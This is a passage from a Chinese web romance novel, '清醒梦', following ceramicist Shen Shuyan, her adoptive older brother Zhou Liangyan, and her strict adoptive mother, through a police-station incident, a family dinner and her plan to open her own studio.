《清醒梦》
1. secret
《清醒梦》文/明月竹台
晋江文学城独家发表
2024.5.25
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立夏,北城。
春天被推着淡出,气温逐渐升高,慵懒的夏日里,蝉鸣不断,道路旁浓密的树木枝条被烈日烘烤的越发鲜绿。
北城市民的手机里已经连续几日收到气象局发来的高温黄色预警短信,提醒大家做好防暑降温。
今夏尤其燥热难耐。
北城市中心的派出所里,正上演一出闹剧——
室内中央空调的温度调得极低。
调解室里两名警官正在竭力压制着面目狰狞怒吼着的年轻男子,场面混乱不堪。
沈舒言埋着头坐在一边,鼓捣着手里的手机。
她眉眼低垂,仔细看还能看到眼睫下有团淡青色的阴影,整个人透露着疲态。
一直握在手里的手机屏幕亮起。
有新消息短信提示。
其中一条备注单一个周字。
沈舒言微微皱眉,舔了舔干涩的嘴唇,点进短信。她有点轻微强迫症,不喜欢在手机页面看到红色未读。
扫了一眼那人发来的消息,顺手将高温预警信息删除,才抬起头看对面正狰狞着面孔大声吼叫的猥琐男人。
“你给我等着,我要告你故意伤人!”
这人是赵岚娜在酒吧遇到的,借着喝醉酒对她出言不逊差点动手,沈舒言刚来就抽了他一巴掌。
听到男人的狠话,她强撑着打起精神,淡笑,“我就在这儿等着你告我。”
声音很轻,但异常坚定。
刚才那一副倦样,此时悄然不见踪影。
为了和同事赶制一批单主定制的瓷器,她已经快十七个小时没有阖眼入眠。
因这批订单是临时接手,前期准备工作浪费掉很多时间。到今天凌晨时才终于大功告成,所幸虽有几个损毁,但也够用。
工作室离家里比较远,沈舒言没准备回去。
这批陶瓷整整烧了五天四夜,即使是和同事们轮流守着,连续几日的工作也早已使大家疲惫不堪。
她打开角落里之前网购的躺椅蜷缩着躺在上面,虽然知道醒来时一定会腰酸背痛,但已经顾不上那么多,只想着总算是能闭上眼睛休息一会。
被赵岚娜的电话吵醒时已经夜里快3点。
电话那头只是哭,沈舒言轻声让她慢慢说,在听完事情原委后,连忙起身往派出所赶。
可坐到驾驶位刚启动,才想起自己的车子限号,只能在路边等出租,来的路上还算顺利。
等沈舒言皱着眉走进警局,就看到一个陌生男人拉扯着自己的好友。
没有任何迟疑,她冲上去扇了那男人一巴掌,惊得周围的警察都愣了几秒。
打完人后旁若无人的拉着赵岚娜坐到一旁,听男人说要告她,依旧一脸云淡风轻。
警察已经拿到监控视频,在另外一个房间取证。
沈舒言轻抚赵岚娜的后背,把她的手握在自己的掌心,温柔的安抚她。
调解室内就剩一名女警和她们二人,那名女警似乎还在回想刚才响亮的巴掌,有意无意的看向沈舒言。
坐在不远处的女人鹅蛋小脸,五官端庄大气。睫毛浓密卷翘,皮肤白皙透亮。
应该是来的匆忙,茶色卷发随意挽在脑后,在白炽灯光下整个人都散着粉白的光晕,实在让人移不开眼睛。
女警斟酌了好一会儿,才开口说:“小姐姐,手没打疼吧?”
赵岚娜被逗笑,抢先回答:“放心,别看她瘦,都是肌肉,结实着呢。”
看赵岚娜笑,沈舒言才安下心,也跟着笑。
屋内低沉的气氛被打破,赵岚娜恢复精力,拉着沈舒言的手大声吐槽。
等警察过来通知她们可以离开时,已经夜里快五点了。
看着赵岚娜坐上出租,沈舒言举起手机拍了车牌号后回到警察局,刚才那个警官说,有家属来接自己,需要等一会儿。
事情解决,她整个人懒散的往后靠,一边用手按摩自己的太阳穴,一边时刻注意着和赵岚娜的共享位置。
可奈何抵不住困意,眼皮止不住的往下耸拉。
手机“叮”的消息提醒,赵岚娜到家了。
终于可以放松下来,沈舒言眯着眼,将目光随意的落在虚掩着的房门处。
意识被困意纠缠拉扯,似乎已经到达极限,失焦了一瞬。
耳朵听到细微的声响,睁开双眼等待聚焦。
在看清楚了门口站着那人的瞬间,大脑像条件反射似的先一步做出动作,被留在梦里的涣散迅速回笼,下意识坐正身体。
沈舒言喉咙发紧,好久才从嘴里挤出一声哥。
她不敢直视他,下意识屏住呼吸,怔怔的将视线往下移,最后落在他垂在身旁那双骨节分明的大手上。男人肤色很白,手背血管微微凸起,手腕处黑金色简约腕表更显矜贵。
周良宴一步步朝里过来,在她身旁站定。
一股熟悉的冷冽松木香笼罩在鼻尖萦绕,久久停留。
沈舒言没想到来接自己的家属会是周良宴,毕竟他们已经快一个月没见,难得见上一面,还是在这毫不适宜的地方。
周遭安静的不成样子,仿佛死一般的沉寂。
沈舒言率先开口:“你怎么来了,不是在出差?”
周良宴垂眸与她对视,“你没看我发的消息。”
沈舒言啊了一声,想起刚才被自己草草扫过一眼的信息,好像内容是他今晚回北城。
她准备装鸵鸟蒙混过关。
毕竟总不能告诉他,自己看了,又忘了。
静默一瞬,两人谁都没说话,默契的往外走。
沈舒言沉默的跟着周良宴身后,视线落在前面人的背影。
明天大约是个好天气,夜空繁星点点。月光透过缝隙洒在各处,斑驳的光影洒了周良宴一身,树叶被微风吹的晃动,发出稀疏声,海浪拍击礁石的声音一样。
周良宴走在夜色下,像站在浓稠的蓝色里。
今晚的月亮应该很漂亮,沈舒言没有仰头看,只远远的将目光落在面前人身上斑驳的光影中。
走到熟悉的黑色商务车旁,周良宴面无表情的打开副驾驶的门,“上车。”
沈舒言看他一眼,磨磨蹭蹭地移步过去。
周良宴绕至另一侧,坐进驾驶位的一瞬间,便闻到车内已经涌入一阵淡香,偏冷的调子,像雾蒙蒙的森林里带着露水的绿。
他有些贪婪的轻嗅,一瞬后又不动声的屏住呼吸,从后视镜里望她一眼,平静的开口,“能耐了。”
车厢里空间静谧,沈舒言的手握住安全带,半晌才憋出一句,“哥………”
周良宴从后视镜望她一眼,良久的沉默。
「6:40分」
沈舒言望向窗外,天边已经开始泛白,她不停的看向手机屏幕,时间一点点跳动流逝,心头逐渐涌上紧张与不安,“哥,你开快点儿吧,妈妈要醒了。”
得赶在她醒之前回家才好。
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周良宴嗯了一声,车子停在家门口时刚好六点五十五分。
还有五分钟,七点钟的时候严谨华要起来晨练。
沈舒言打开车门下车,蹑手蹑脚的开门往里走,她眉头紧皱着,小心翼翼不敢发出一丝声响。
这次换周良宴跟在她身后。
小时候为了方便他们互相照顾,严谨华专门将两人的房间放在一层楼,门对门。
几分钟后,随着“咔嗒”一声轻响和关门声,沈舒言呼出一口气。
她靠在门上,侧耳听门外没有声音,紧绷的神经逐渐放松。
下一秒眯着眼往卫生间走,想着洗漱完就马上休息,却在看到镜子的瞬间睁大眼睛。
自己的发带掉了。
也不知道是何时,悄无声息的。
不确定是掉在周良宴车里还是走廊上。
如果是外车上还好,等下次拿回来就可以。
可如果是掉在走廊上。
被母亲发现………
严瑾华出身豪门,是个视规矩为圭臬的人,对子女的教育方面更是严苛。
她从小便要求他们兄妹两个在任何事情上都不能出一点差错,有时候一人犯错要集体挨罚,靠墙站两个小时不准驼背,每次都是父亲求情,她才会松口。
如果恰巧被她看到,肯定会得到一连串的训问。
怎么这么晚才回来?在外面干嘛…………
那时她一定是要撒谎的。
但问题是,尽管已经过去快十年,她依旧没有足够的把握自己可以在面对母亲时编出毫无破绽谎言。
沈舒言坐在床沿上,看着墙上的秒针一格一格往前走,在寂静的房间里,咔嗒咔嗒的声音尤为明显,焦急的催促她。
最终还是心一横。
她穿着拖鞋走到门边,再三确定没听到什么动静,打开房门。
走廊上是昏黄的灯,有着温柔的光亮。
房门前那片区域确定没有。
沈舒言走出门外,想着再往尽头那边看一看。
刚迈出一步,忽然,主卧的灯光亮起,从门缝往外溢。
两道开门声同时响起,沈舒言感觉自己的腕骨被人扯着,带进炙热的怀里。
嘴里的惊呼被淹没在宽厚的手掌中。
在警局闻到的那股冷冽雪松带着点湿润水汽的苦,更为清晰的,热切的将她整个人包裹起来,像是要渗入体内。
沈舒言大脑一片空白。
心跳砰砰砰的似乎要从胸膛里蹦出来。
周良宴应该是刚洗过澡,头发还没来得及擦干。
有水珠顺着鬓角的发梢往下坠,滑过他的脖颈,落在她裸露在外的雪白肌肤上。
屋外传来脚步声,有人轻叩房门。
沈舒言瞬间惊慌失措的抓紧搭至自己胳膊的手。
严谨华的声音,她问:“良宴,你什么时候回来的?”
周良宴平稳回复,“刚到家没多久。”
“嗯,好好休息。”
说完脚步声渐渐走远。
可能是太过紧张,沈舒言觉得自己动弹不得,她的后背靠在他炽热的胸膛前,时刻关注着外面的声音,听觉被空气中细密的颗粒塞满,敲击着耳膜。
正当她还保持高度警惕时,听到一道低暗沉稳的嗓音。
“言言,可以松开我了。”
话音落下的同一时刻,周良宴已经放下手,站在离她有半米远的位置。
两人的视线在空中交汇,沈舒言抬头望他,“你还在生我的气。”
2. secret
厚重的深色窗帘垂坠在落地窗前,将它几乎遮盖完全,只留些许无法闭合的缝隙。
天刚蒙蒙亮起,整个世界被一层柔和的蓝笼罩,薄纱似的光从缝隙中探入房内。
沈舒言借着透进来的光看到周良宴轻轻摇头。
他说:“先回去睡吧。”
再没有后话,不说自己还生气与否。
径直转身往床边走。
本来就已经太久没睡,再加上刚才精神高度紧张。
沈舒言觉得自己的身体已经到达极限,紧绷的弦放松下来后,她整个人都是一种虚浮的状态,眼皮沉沉的往下坠。
她想,莫名半夜被叫到警局帮她收拾烂摊子的周良宴应该也已疲乏不堪。
思及此,知道自己不适合再过多打扰,她缓慢的点头,转身回到卧室。
走进浴室洗完澡,沈舒言擦干镜子上的水珠,怔怔的看镜中的自己几秒,才快速将睡衣套在身上,走出浴室将自己摔进床里。
明明刚才已经困得要直接原地入睡,冲了个澡后大脑却突然开始亢奋,异常清醒。
她在床上来回翻身,闭起的眼睛睁开,起身拉开床头柜的抽屉,里面是一张照片。
那是她来周家后和周良宴的第一张合影。
拍照时是夏天,她被刚上初中的周良宴搂在怀里的时候也才6岁,照片里她迷茫的盯着镜头,眼里都是来到陌生环境的不安与谨慎,身体唯一的支撑点是自己的手牢牢抓住的周良宴的袖口。
对那时候的她来说,将自己从黑暗的杂物间里带出来的周良宴,是她在父母去世后的世界里感受到的第一束亮光。
她几乎完全依赖他。
沈舒言的指尖轻轻滑过手中的相片,像抚摸封存在脑海里的回忆,一幕幕景象电影似的倒退放映。
那时应该也是一个夏天,她八岁左右,上三年级,正是爱玩的年纪。
奈何严厉的母亲认为,孩子就应该从小培养。
家里定的规矩用小本本罗列排序的话都能记好几页,其中不能吃零食,不能看与学习无关的书,不能玩幼稚且无用的东西,不能这不能那。
那些东西对她来说实在都太具有诱惑力,只能偷偷藏在卧室的角落里。
可没几天母亲突击检查,全军覆没。
她被罚站墙角一个小时。
周良宴在一旁悄悄给她使眼色,故意在上楼时踩出极大的声音,把自己卧室的门和椅子弄得哗啦作响吸引火力。
在母亲上楼训斥周良宴的间隙,她就可以偷懒直接席地而坐。
直到听见周良宴喊,“妈,你这就下去啦。”
她接到信号,迅速站起身,低下头装出自己难受的样子。
这方法虽然百试百灵。
但后来其实沈舒言也不太敢把“违禁品”带回家里。
只有不容易发现的漫画书转移到周良宴的卧室,被他包上书皮,夹在一堆专业书和习题中间。
辣条这种一时半会气味都散不掉的“垃圾食品”,周良宴会偷偷塞进书包带进卧室,然后故意在她眼前晃,“我记得昨晚好像有人说自己想吃这个好几天了。”
每每这个时候,她都会雀跃的走过去拿到手里,甜甜的说一声,“哥你实在太好了!”
周良宴不说话,嘴里噙着笑,温柔的帮她擦嘴。
然后在她吃完后,销毁罪证。
………
可如今他们的关系却…
记忆绵长轻柔,手中的合影轻轻滑落至枕边,沈舒言侧躺着终于沉沉睡去。
再次睁眼是被敲门声叫醒的。
保姆王阿姨在屋外,“小姐,起来吃饭了,夫人刚才打电话说有客人要来家里,让你提前准备一下。”
她出卧室下楼,桌子上已经备好清淡的餐食。
王阿姨从厨房端出水果,“这是小周总专门从兰桂坊带回来的。”
“兰桂坊”是北城有名的私厨菜馆,她记得这家店只接受预约,也不做外卖。
落座,桌子上都是她爱吃的菜,沈舒言问:“我哥在家吗?”
王阿姨摇头,“把这些送回来后,小周总没停就又去公司了。”
沈舒言点头,没说话,坐在餐桌前小口喝粥。
快四点,她被从卧室叫出来下楼,与从棋牌室出来的人打了个照面。
唐淑玲越过客厅,满脸笑容的拉上沈舒言的手,“言言回来啦,阿姨可真是好久都没见你了,这趟来还专门给你带了你最喜欢吃的点心呢。”
沈舒言叫了声妈,转头回复:“唐阿姨好,谢谢您还记挂着我,我刚好也有样东西要送给您,还说明天就给您送家里呢。”
唐淑玲听了这话脸上的笑容更大,把已经二十五六的她还当作小孩子,亲昵地摸摸头发,捏捏脸颊,看着安静乖巧的人儿心里更是喜欢极了,嘴里一直嘀咕着言言怎么感觉又瘦了。
严瑾华放下茶杯接话,“天天钻到工厂里对着一堆烂泥,也不好好吃饭,不瘦才是怪事。”
沈舒言在心里默默反驳那些才不是什么破石头,那都是她的战友和武器。
母亲说的这些话她在已经听过无数遍,听着听着虽然大脑便自动生成免疫力,但有时还是忍不住想去辩驳。
她的手抚上椅背,指尖扣着椅背上的花纹,感觉指腹微微有痛感腾起,唇线抿直又艰难的松开,在心里打好几遍草稿的话就要脱口说出。
严谨华:“听你哥说你今天早上回来的?我怎么没看到你。”
刚鼓起的勇气被浇灭熄火,大脑停止运转,没来由的紧张害怕,她指尖更用力的扣着花纹,指腹的痛感加剧。
沈舒言斟酌几秒,才说:“是,可能刚好错开,我今天没开车,限号。”
有周良宴的话做伪证,她这个谎还算勉强过关。
严谨华点头,抬眼看过去,“那就好,我以为你忘了家里的规矩,半夜还在外面跑。”
想象中的话钻进耳朵,沈舒言一动不动的站着,仿佛双脚被牢牢粘在地上,她机械般木讷的点头,而后低头沉默。
唐淑玲眼看气氛不对,适时打断,“言言,等会还有惊喜哦。”
沈舒言不解,片刻后便看到那个惊喜。
某种意义上来说,是她的“竹马”。
人到齐,厅内的人陆续落座。
唐淑玲笑说,“际琛听说今天言言也回来,你看连行李都没放就急匆匆跑过来了。”
被打趣的人做无辜状,“妈,我是想吃王姨做的糖醋排骨了,你不知道国外的饭到底有多难吃。”
外国人不善于使用调料等一切对烹饪有莫大帮助的东西,大多都是半生不熟的肉片与面包搭配,便是简单的一餐,际琛见到那些东西简直害怕的要命,平时在家里不怎么下厨的人也被逼得学了一些不容易翻车的家常菜。
而这次回国,他尤其想念,此刻面前的一切。
周际两家交往颇深,闲来无事时两家长辈便经常聚在一起下棋品茶,际琛更是从小便喜欢往周家跑,那时的周良宴就已经像小大人一般不苟言笑,少了点孩童的调皮活泼,际琛实在怕他,就总跟在沈舒言屁股后面。
跟着跟着两人关系越来越好,便常黏在一起,两家长辈每次看见都会打趣道,等长大后一定要喜结连理,
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这样际琛也能理所当然的一直粘着沈舒言。
他装作不经意的看对面的女孩,她正在埋头扒饭。
忽然,门口有声音响起。
看到是周良宴,严谨华放下筷子,“今天不是有商务饭局?”
“合作商临时有事,改了时间。”周良宴没有多解释。抬眼的刹那,他的目光在沈舒言的脸颊的掠过一瞬,又收回。跟唐淑玲打了声招呼,“唐阿姨你先吃,我去换身衣服。”
没几分钟,周良宴下楼落座。
两位长辈又谈起往事,更多的是讨论沈舒言和际琛的童年趣事,似乎每个家庭都是这样,只要谈起回忆里的旧事便会滔滔不绝,席间一阵欢乐。
除了周良宴,他正垂眸喝水,面上表情平淡,看不出在想什么。
身旁沈舒言微微抬眼环视一周,与对面际琛的眼睛在空中交汇,又瞬间错开。
过了快十几分钟,两位妈妈话语间尽是感慨,当年的小孩子摇身一变,如今都到了谈婚论嫁的年级。
这个话题终于结束,她们将注意力转移到一旁默不作声的周良宴身上。
严瑾华问:“良宴,禾旭最近怎么样,在洽谈新业务?”
多年前,资产重组后的云璟集团业务覆盖各大领域,营业额超过九百多亿,可这几年间,迟迟难以突破千亿大关,眼看着转型迫在眉睫。
周良宴毕业时,云璟结束从传统业到数字化的转型,可总部与各子公司的管理人员内部势力盘根错节,供应链、财务等关键部门关系复杂,遗留问题太多,周父到了快退休的年纪,饶是想要解决也无从下手,力不从心。
这种情况下,周良宴虽仍没有强烈的接班意愿,可因云璟集团家大业大,牵扯人员众多。
若真的出现问题,难以想象会有多少员工受到影响,他无法做到坐视不管,但却也没有选择直接接手云璟。
在市场并不看好,母亲也不同意的情况下,坚持单独设立公司进行产业链投资,不参与云璟主营业务,和公司元老保持距离,现在在集团管理位置上一直处在可进可退的状态。
严瑾华起初对自己儿子的做法很不理解甚至是不看好,但是看着禾旭在他的带领下业绩将其他子公司牢牢甩在身后,也就没再多说什么。
周良宴说:“嗯,已经达成初步合作意向,十拿九稳。”
话音落,她继续问:“前几天给你送去办公室的文件夹你看了没?”
周良宴的身形一顿,“太忙,还没来得及看。”
“等不忙了可以一定要好好看看啊,”一旁的唐淑玲笑着说,“那可是我跟你妈妈精挑细选了很久的,说不定里面有你可以看对眼的。”
沈舒言抬头,“唐阿姨,什么东西?”
唐淑玲不说话,只神秘的笑,“你妈妈着急想要个小孙女啦。”
不用深究,话里的意思不言而喻,再怎么愚笨的人想想也能猜到那文件夹里放着的是什么。
凭着严瑾华的眼光和根深蒂固的门第观念,能出现在文件夹里的女孩们条件必然在北城都是个顶个的好。
沈舒言又想起和周良宴这次闹矛盾的原因——她擅自帮他做决定。
周良宴的反应很激烈,比以往的任何一次吵架都要激烈,她不知道是哪个环节出了问题。
往日吵架时只需三天就基本会恢复成无事发生的样子,这次却足足有半个月。
想到这里,她心不在焉的哦了声,又琢磨该如何道歉,没察觉到空气寂静一瞬。
周良宴的眼神轻而短暂的拂过她的面颊,而后又望向别处。
他只说最近忙,接着就是沉默。
3. secret
那边话音刚落,唐淑玲开口,“看良宴多稳重,我家这臭小子一天没个正行,今天干这个明天干那个,就是胡闹嘛。”
“妈,你又不懂,我这叫十项全能。”际琛接话。
听到儿子贫嘴,唐淑玲笑出声,没再继续数落,她向来信奉快乐教育,自己儿子想干嘛,虽然嘴上总是念叨却从来没实质性阻止过,毕竟小孩子玩也就几年。
沈舒言能听出来唐阿姨虽然嘴上念叨,但语气里都是宠溺。
她抬头看了眼自己的母亲,心里叹下一口气,眼神变得暗淡,想起上次与母亲因为工作引发的争吵。
本就食欲不振的身体,此刻更是胃口尽失。
她慢慢捏紧手中的筷子,淡粉的指尖此时因为用力的缘故,微微泛了白。
往嘴里送了几口青菜,她实在有些吃不下了,抬头环视一周,两位长辈还在兴头上。
无奈,只能用筷子有一搭没一搭巴拉着碗里的菜,时不时往嘴里送送几口米饭,显得自己不那么无所事事。
听到好友对儿子的夸奖,严瑾华不以为然,“稳重归稳重,天天待在公司跟一堆数据报表打交道,自己的终身大事没一点进展,你家际琛呢。”
唐淑玲:“际琛也一样。”
话里话外都有别的意思,年龄相仿的年轻人,家里总想着亲上加亲。
周良宴的目光在沈舒言脸上轻轻落下,看到她正面无表情的小口吃着碗里的米饭,兴致缺缺。
过了有几分钟,他落筷,“妈,刚想起等会有个会要开,要先失陪了,你们慢慢吃。”
唐淑玲忙说:“没事儿,你快去忙,我们这也快结束了。”
周良宴上楼没几分钟,餐桌上的人也先后落筷。
原本不知道还要持续多久的饭局就这样结束。
沈舒言微不可闻的呼出一口气,紧绷的身体松弛下来。
两位长辈去书房写毛笔字喝茶聊天,周良宴在楼上的书房。
剩沈舒言和际琛留在客厅打开电视听着耳音玩手机,相顾无言。
客厅内的氛围说不上的尴尬,沈舒言起身推开一侧的门,往院子里去了。
周家这栋别墅有3层,兄妹两人的卧室和书房都在2楼,书房就在隔壁。
一开始是兄妹公用一间,后来沈舒言大了,两人便分开各用一间。
约莫一杯茶的时间过去,盘算着已经消磨的差不多,周良宴合上文件夹起身。
房间有些闷,他来到窗边,将窗户推开了个缝,摘下眼镜不经意地向楼下瞥去,一时间顿住。
周家的后院很大,几把藤椅,木质的矮桌坐落于池塘边,天气晴朗时,长辈们会从屋内转战至此。
庭院角落有一棵不知长了多久的香樟树,粗壮的树枝垂着两根麻绳,此时正轻轻晃动。
夕阳下,阳光如顽皮的小孩子争抢着从树木的缝隙中偷偷穿过,落在秋千上的人身上。
斑驳光影中,那单薄身影看上去十分落寞,一动不动的盯着地面轻轻晃动身下的秋千。
隔着那么远,周良宴却觉自己能清楚的感到无尽的寂寥。
他看了一会儿,将窗户阖上,回到书桌前戴上眼镜。
沈舒言还在看着脚下的地面,听见不远处的门轻响,募地抬头。
有人正踏着幽幽小径,走了过来。
是周良宴。
沈舒言立即起身,朝前走了几步,开口问:“哥,你忙完了?”
周良宴在她面前站定,目光平淡的落在她的身上,似乎不带任何意味,“秋千需要加固。”
意思是现在还不能玩,危险。
沈舒言看了眼身后,转头又望着周良宴,手捏着衣角,踌躇了好一会才又开开口,“哥,我错了。”
即使是想要缓和关系,她也不该那么莽撞,不该那么不计后果,不该擅自替他做决定。
周良宴脸上没什么情绪,但目光始终牢牢锁住她,声音低沉,“什么错。”
一副公事公办,要她将事情完完整整的说出个所以然来的样子。
沈舒言轻咬嘴唇,眼里泛着光,戚戚然望向面前的人,“哥......”
她声音很轻,呢喃出口的话,像在恳求,又像在撒娇。
周良宴站在沈舒言面前,微微垂着眼,“没有下次。”
沈舒言使劲点头,她再也不敢了。
太阳缓缓褪去落到半山腰,留下一片绚丽的残日,天空染上一层柔和的橙,微风轻轻拂过,减去不少燥热。
两人坐在一旁的藤椅上,一时无话。
沈舒言的目光又落到被风推得晃悠的秋千上,记忆也连带着被推得很远。
她是伴随着爱意和期待来到这个世界上的小孩,从出生起便被父母的爱包围,无时无刻不生活在温暖的阳光下。
父亲书房的书架上最显眼的地方摆放着几本以她的名字命名的书籍,事无巨细的记录着她的成长过程。
翻开几页,那些场景又鲜活的浮现在眼前,有她口齿不清的喊出妈妈爸爸后他们喜极而泣的瞬间、有她独自上幼儿园时的勇敢和躲在车里偷偷哭泣的爸爸,有她所有的美好的一切,她是这样长大的,承载着满满的爱意。
可奈何世事无常,沈舒言的童年时代结束于六岁——那年夏天,她失去了两位最亲的人。
被父亲的朋友接回家中时,她早已不似从前那般活泼开朗,像几近枯萎的花朵。
周父和沈父在大学时便是好友,两人虽志向不同,但意外投缘,沈父喜爱研究留校做了教授,周父继承家业,出国继续深造。
当得知朋友的女儿被扔在福利院,他当即与妻子商量将那可怜孩子领回家里。
沈舒言来到周家,周父对她视如己出,出门应酬时总会说家里又多了一个牵挂的小公主,严瑾华更是早早的准备好迎接她的到来,装修漂亮的公主房,买各种样式的裙子挂满整个衣橱。
尽管在福利院的那段经历将她变得敏感不爱说话,可在她的内心深处已经像爱亲生父母一样爱着将她带出福利院的养父母,她无比珍惜这来之不易的亲情。
越珍惜的东西对待时越是会小心翼翼。
记忆中有个小朋友因为饭量大又吵闹被送回福利院,所以她吃饭时总是吃的很少,在家中也时刻保持安静,常常一个人待在卧室或书房
周父因工作繁忙,鲜少在家,管束孩子的事情自然也就落在妻子身上。
沈舒言还记得他们第一次见面的情形。
严瑾华浑身透露着知性优雅,尽管在家中也画着精致的妆容,耳垂上的珍珠耳饰在阳光的映照下闪着明亮的光芒。
她怯生生的看过去,眼
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中含着的迷茫与无措,又带着点对母爱的希翼,她已经太久没感受到母爱。
可严母是个严厉强势的女人,对她更多的是强势的教导与鞭策。
就这样,对母爱渴望的伸出手又小心翼翼的缩回去垂在身侧。
周良宴时刻关注自己的妹妹。
看到沈舒言躲在房间看书,他就带着自己的功课陪在她身边,两人一起度过无数个白天到黑夜,尽管房间里常是沉默;她吃饭时吃得少,周良宴都看在眼里,他不多问,只说自己嘴馋,请求妹妹陪自己出去吃好吃的,两人吃的肚皮滚滚的然后散步回家;她常常望着庭院里的香樟树发呆,周良宴便恳请母亲,说那里光秃秃的,适合装上秋千。
周良宴补课的楼上开着很多兴趣班,无聊时他便带着沈舒言过去消磨时光。
在新开的陶艺室门口,店员姐姐热情的邀请他们进去,沈舒言安静的坐在一旁,看着普普通通的泥土变成各种样式,渐渐入了迷。
陶土在她手里的触觉很凉,它柔软又坚硬。
从那次以后,只要两人有空就去那里,这是属于他们的第一个“秘密”。
尽管在离开陶艺室时已经仔细的洗过手,在每次回到家后,周良宴还是会抓着她的手放在水龙头下仔仔细细冲洗好几遍,确保不会被眼尖的母亲发现。
小时候的他们亲密无间。
6岁的年龄差,沈舒言的人生几乎向周良宴无限共享。
从福利院来到周家的那一刻,两人便紧密相连。
随着岁月渐移,不知不觉,他们已经不是可以睡在一起的年纪。
彼此对望的眼里,属于兄妹的亲密中,蕴含着说不出的疏离。
像是地球和太阳,保持着一定的距离,参与彼此的生活,无法离开,无法靠近。
沈舒言侧脸看向旁边,经年岁月,她第一次如此认真地观察周良宴。
他还是如少年时那样英俊,只是骨骼更加强硬骨架变大,即使是身穿家居服,也能看出柔软的衣衫下的肌肉坚实流畅,镜框下的眼睛永远静默沉稳,整个人更加成熟,也更加......
性感。
沈舒言倏地回神,讶于自己竟然会用性感这样具有别样意味的词来形容自己的哥哥。
这感觉很奇怪,她轻轻摇头,将理不清的思绪扔到一边。
院内的门又被打开,过来的是际琛。
他手指了下屋内,“太闷,我出来透透气。”
周良宴没什么反应,沈舒言轻轻点头回应。
际琛落座在沈舒言旁边的藤椅上,和周良宴一人一边。
他心里有太多的话想说出来,可看了眼另一侧,又统统咽回肚子里。
知道沈舒言现在在做陶瓷,所以早在回国前就逛了好几次展会,也算了解不少。
沉默几秒,他挑起话头。
沈舒言来了兴趣,两人也算破冰,你一句我一句的交谈起来。
说到有趣的地方,她偶尔发出几声轻笑。
周良宴在一旁,只是沉默着,听两人的谈话,眼睛却始终牢牢的锁在一个单薄的身影上,不曾移开半分。
际琛偶尔撞上他的目光,觉得那眼神里藏着太多说不清的情绪。
他看不明白,说不清楚。
最后将这些都归咎于哥哥对妹妹的爱护。
4. secret
饭局结束后一周左右,严谨华时不时给沈舒言发微信,说际琛刚回北城,需要人带着出去逛一逛。
沈舒言知道母亲是什么意思,可她现在对谈恋爱实在没什么想法,所以每次都说忙,以此推脱。
其实这话也不全是推辞,她最近确实在忙,忙着写辞职申请,忙着跟学姐了解开工作室相关事宜。
忙完一切,已到五月中旬,她准备在周末回家时,与父母开诚布公的谈一谈。
云鹤公馆属于独栋别墅小区,东侧直接由生态公园改建,中央带有大面积人工湖,园内更是移植了全国各地近百种树种,使得公馆内一年四季都有别样景观。
虽处在北城市中心最核心的地段,但难得闹中取静,仿佛置身世外桃源,严瑾华喜静,一眼便相中。
沈舒言此时正被堵在云鹤公馆外,门口站岗的是个生面孔,大抵是这几日才来上班的新员工,不认得她,将车拦住要她下车登记信息。
沈舒言点头表示理解,伸手从副驾驶拿过包在里面翻找,可往日就躺在钱包夹层的身份证此时却不见踪影,她抬起头,轻声道:“不好意思,今天没带证件。”
新来的保安是个认死理儿的,两人僵持不下。
沈舒言打开手机,犹豫着要不要给阿姨打个电话。
站在车旁边的人还欲开口说什么,有脸熟的工作人员过来,低语几句,便打开升降杆。
“沈小姐,小伙子新来的,我没给他交代明白,耽误您时间了。”
沈舒言放下手机摆摆手,“没事,张姐。”
微踩油门,汽车驶入公馆内部,周家的别墅在最深处。
没多久到达家门口,沈舒言稳稳将车停下熄火。
她垂眸盯着方向盘,平静的在驾驶位坐了好几分钟,胸口浮现出一股难耐的浮躁,抬手打开车门下车,径直朝着与家相反的方向走。
云鹤公馆绿植茂密,蜿蜒的小路被各种各样的树木景观环绕,道路边每隔几米放置着原木靠背长椅供人休息。
她漫无目的的沿着小路踱步往前走,几分钟在工湖旁边的亭子里坐下,眼前的湖水清澈,偶有鱼儿游过,不远处平静的湖面上还有几只野鹤正优雅的昂着脖颈缓划过。
呼吸进体内的空气凉丝丝还带着植物特有的清香,使得她烦躁的心绪稍有缓解。
早些年她和周良宴还是小孩子的时候,父母忙起来鲜少在家,两人在空旷的家里待的发腻,便会结伴跑来这边。
他们来时会偷偷从家里带些鱼饲料投喂小鱼,有时候什么也不干,就静静的坐着,那时候没有野鹤来这儿光顾,那样光秃秃又乏味的湖,他们可以足足看上一个下午。
但是现在不行了,他们都已经长大,没有时间来这边虚度光阴,平日若没什么要紧事,也只有家庭聚餐时才能见上一面。
沈舒言看得出神,直到平静的湖面被雨水滴刺破,虚虚实实的激起点点涟漪,才呼出一口气,站起身往回走。
走到家门口,正巧碰到下车的周良宴。
沈舒言就站在原地,等穿着一身深色西装的周良宴走过来。
周良宴从小就生得好看,经过岁月沉淀,如今五官变得更加凌厉英气,骨子里更有周父那般挺拔儒雅,无端站在人群中便如鹤立鸡群。
他几步走到沈舒言面前,“怎么不进去?”
沈舒言低头看着自己的鞋尖,沉默的摇头,往旁边挪几步,“你先进吧,我跟在你后面。”
这几日天气不好,一过午后,乌云密布,黑压压的仿佛挤得人要喘不过气。
周良宴望着她带点愁容的小脸,了然点头,“嗯。”
小时候沈舒言闯了祸,也是这般躲在他身后。
两人一道进门,换鞋后走进客厅。
沈舒言先叫了声:“妈,爸。”
周良宴也跟着叫了声:“妈,爸。”
严瑾华和周明竹从书房走出来:“一起回来的?”
周良宴答:“刚好在门口碰到。”
严瑾华点头。
随后四人一起落座。
十几分钟后,周明竹看沈舒言明显兴致不高,便问:“言言,是有什么事情?”
沈舒言手中的动作停止,几秒后郑重的放下手中筷子,说:“妈,爸,我准备辞职开一家自己的工作室”
霎时间,时间仿佛静止,严瑾华怔愣片刻,微微皱眉,“言言,别跟妈妈开玩笑。”
沈舒言没说话。
周明竹沉吟着开口:“这不是动动嘴皮子就可以解决的事情,钱不是问题,主要是运营,后期售卖一系列流程你明白吗?”
“爸,我考虑很久了。”沈舒言认真的看向父母,唇线抿直,眼里露出坚定,“我是认真的,不是开玩笑。”
严瑾华耐住性子,骨子里的优雅不允许她失态。
原本沈舒言大学时转专业,她没有强硬阻止,已经够法外开恩,本意是让她玩个几年,玩够了,玩腻了,也就收心了。
她喝了口水,微笑着说:“言言,你现在还小,不懂,况且我们家也不需要你去做这个。”
沈舒言深吸一口气,平静的望着母亲,“妈妈,可是我喜欢。”
严瑾华依旧优雅,“不要跟我说喜欢,我是为你好,这个话题不要再继续了。”
又是这句。
又是“为你好”。
